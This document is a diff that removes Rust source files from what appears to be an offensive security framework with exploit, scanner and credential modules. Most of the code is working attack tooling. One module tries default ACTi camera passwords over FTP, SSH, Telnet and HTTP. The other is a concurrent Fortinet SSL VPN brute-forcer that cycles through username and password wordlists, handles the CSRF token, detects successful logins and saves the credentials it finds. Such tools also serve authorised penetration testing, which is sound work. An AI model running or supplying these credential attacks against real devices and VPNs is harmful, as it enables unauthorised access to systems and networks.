||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in &categories {
|
||||
let base = format!("src/modules/{}", category);
|
||||
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
|
||||
let p = entry.path();
|
||||
if p.is_file()
|
||||
&& p.extension().map_or(false, |e| e == "rs")
|
||||
&& p.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(rel) = p.strip_prefix("src/modules") {
|
||||
let module_path = rel
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/");
|
||||
modules.push(module_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use clap::Parser;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,219 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
Telnet,
|
||||
Http,
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
pub target: String,
|
||||
pub port: u16,
|
||||
pub credentials: Vec<(&'static str, &'static str)>,
|
||||
pub stop_on_success: bool,
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
|
||||
fn normalize_target(target: &str, port: u16) -> String {
|
||||
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
|
||||
if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]:{}", cleaned, port) // IPv6
|
||||
} else {
|
||||
format!("{}:{}", cleaned, port) // IPv4 or hostname
|
||||
}
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
continue;
|
||||
}
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
// Give device time to respond
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let data = [
|
||||
("LOGIN_ACCOUNT", *username),
|
||||
("LOGIN_PASSWORD", *password),
|
||||
("LANGUAGE", "0"),
|
||||
("btnSubmit", "Login"),
|
||||
];
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.form(&data)
|
||||
.send()
|
||||
.await
|
||||
.context("[!] Failed to send HTTP form request")?;
|
||||
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entrypoint for module - parallel checks
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let creds = vec![
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("Admin", "12345"),
|
||||
("Admin", "123456"),
|
||||
];
|
||||
|
||||
let base_config = Config {
|
||||
target: target.to_string(),
|
||||
port: 0,
|
||||
credentials: creds,
|
||||
stop_on_success: true,
|
||||
verbosity: true,
|
||||
};
|
||||
|
||||
let ftp_conf = Config { port: 21, ..base_config.clone() };
|
||||
let ssh_conf = Config { port: 22, ..base_config.clone() };
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
http_res?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod acti_camera_default;
|
||||
@@ -1 +0,0 @@
|
||||
pub mod acti;
|
||||
@@ -1,41 +0,0 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,518 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest::{ClientBuilder, redirect::Policy};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
use regex::Regex;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Fortinet SSL VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("Fortinet VPN Port", "443")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "10")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "fortinet_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
|
||||
let realm = prompt_optional("Authentication realm (optional)")?;
|
||||
|
||||
let base_url = build_fortinet_url(target, port)?;
|
||||
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", base_url);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
// Generate all credential pairs based on mode
|
||||
let credential_pairs = if combo_mode {
|
||||
let mut pairs = Vec::new();
|
||||
for user in &users {
|
||||
for pass in &passwords {
|
||||
pairs.push((user.clone(), pass.clone()));
|
||||
}
|
||||
}
|
||||
pairs
|
||||
} else {
|
||||
// Cycle through users for each password
|
||||
passwords.iter().enumerate()
|
||||
.map(|(i, pass)| {
|
||||
let user = users[i % users.len()].clone();
|
||||
(user, pass.clone())
|
||||
})
|
||||
.collect()
|
||||
};
|
||||
|
||||
println!("[*] Testing {} credential combinations", credential_pairs.len());
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for (user, pass) in credential_pairs {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let base_url_clone = base_url.clone();
|
||||
let realm_clone = realm.clone();
|
||||
let trusted_cert_clone = trusted_cert.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_fortinet_login(
|
||||
&base_url_clone,
|
||||
&user,
|
||||
&pass,
|
||||
&realm_clone,
|
||||
&trusted_cert_clone,
|
||||
timeout_duration
|
||||
).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", base_url_clone, user, pass);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", base_url_clone, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", base_url_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials found:");
|
||||
for (url, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", url, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (url, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
// Prepare login form data
|
||||
let mut form_data = std::collections::HashMap::new();
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(ref r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
let login_response = match timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.form(&form_data)
|
||||
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
|
||||
.header("Referer", &login_page_url)
|
||||
.send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response.headers().get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for success indicators
|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(ref loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
